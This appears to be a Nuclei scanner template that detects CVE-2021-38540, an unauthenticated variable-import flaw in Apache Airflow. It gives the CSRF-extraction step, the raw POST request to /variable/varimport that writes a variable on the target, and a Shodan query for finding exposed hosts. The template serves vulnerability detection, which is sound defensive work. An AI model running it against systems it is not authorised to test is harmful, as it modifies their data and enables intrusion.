79 lines
2.7 KiB
YAML
79 lines
2.7 KiB
YAML
id: CVE-2021-38540
|
|
|
|
info:
|
|
name: Apache Airflow - Unauthenticated Variable Import
|
|
author: pdteam
|
|
severity: critical
|
|
description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
|
|
remediation: Upgrade to Apache Airflow 2.1.3 or higher.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-38540
|
|
- https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
|
|
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-38540
|
|
cwe-id: CWE-306,CWE-269
|
|
epss-score: 0.00588
|
|
epss-percentile: 0.75904
|
|
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: apache
|
|
product: airflow
|
|
shodan-query: title:"Sign In - Airflow"
|
|
tags: cve,cve2021,apache,airflow,rce,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /login/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
- |
|
|
POST /variable/varimport HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
|
|
Referer: {{RootURL}}/admin/variable/
|
|
|
|
------WebKitFormBoundaryB874qcjbpxTP1Hj7
|
|
Content-Disposition: form-data; name="csrf_token"
|
|
|
|
{{csrf}}
|
|
------WebKitFormBoundaryB874qcjbpxTP1Hj7
|
|
Content-Disposition: form-data; name="file"; filename="{{randstr}}.json"
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"type": "{{randstr}}"
|
|
}
|
|
|
|
------WebKitFormBoundaryB874qcjbpxTP1Hj7--
|
|
|
|
cookie-reuse: true
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(body_1, "Sign In")
|
|
- status_code_2 == 302
|
|
- contains(header_2, "session=.")
|
|
condition: and
|
|
|
|
- type: word
|
|
words:
|
|
- 'You should be redirected automatically to target URL: <a href="/">'
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: csrf
|
|
group: 1
|
|
regex:
|
|
- type="hidden" value="(.*?)">
|
|
internal: true
|
|
# digest: 4a0a0047304502203a351152a55e5ec11a3a468893d8bc1ba608a69c6757a572d6a4558204aa10c6022100ce6e3cbbc6adfeedabd72ee0dd5e7a47e2526432d695b38b30864dd88d3d1540:922c64590222798bb761d5b6d8e72950 |